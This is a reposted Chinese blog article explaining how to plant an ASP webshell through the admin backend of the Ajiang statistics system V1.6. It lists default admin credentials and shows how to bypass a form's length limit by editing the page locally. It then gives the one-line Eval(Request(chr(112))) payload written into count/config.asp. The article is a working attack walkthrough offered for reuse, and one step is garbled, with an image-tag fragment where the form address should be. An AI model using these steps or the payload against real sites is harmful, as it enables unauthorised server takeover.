阿江统计系统V1.6后台拿SHELL的方法

204 阅读 0 评论 135 点赞

我是靠谱客的博主留胡子飞机，最近开发中收集的这篇文章主要介绍阿江统计系统V1.6后台拿SHELL的方法，觉得挺不错的，现在分享给大家，希望可以做个参考。

无奈到了自己这里今天下午又碰到个一样的站纠结···

不多说了首先感谢小帆同学猪猪同学对程序代码的分析·（我自己硬是整了半个小时没整出来利用方法·）

此后台默认的账号密码是 admin admin ， ITlearner ITlearner

先进后台

来到修改配置界面保存源文件到本地

本地打开源文件找到原文章访问量把maxlength="10 修改为 maxlength="100 下边是修改后的截图

然后在本地文件修改action地址例如IE 中的提交地址是upload/2011/1/201101071923425208.jpg" width="581" onload="resizepic(this)" height="50" alt="" />

然后保存文件用IE 打开在网站访问量地址后写入 0:Eval(Request(chr(112)))

这个一句话的密码是P 点击修改一句话就被插到了 count/config.asp 这个文件了打开一句话客户端就可以连接了

只是个自己积累的小小的过程对于网上关于阿江统计拿SHELL的方法我也测试了很多但是没几个能成功的所以专门写了这个文章出来其实就是本地修改下字节因为源程序中限制了写入的字节数没有什么技术含量不要骂我···

文章作者：冰鱼

以上就是留胡子飞机为你收集整理的阿江统计系统V1.6后台拿SHELL的方法的全部内容，希望文章能够帮你解决阿江统计系统V1.6后台拿SHELL的方法所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。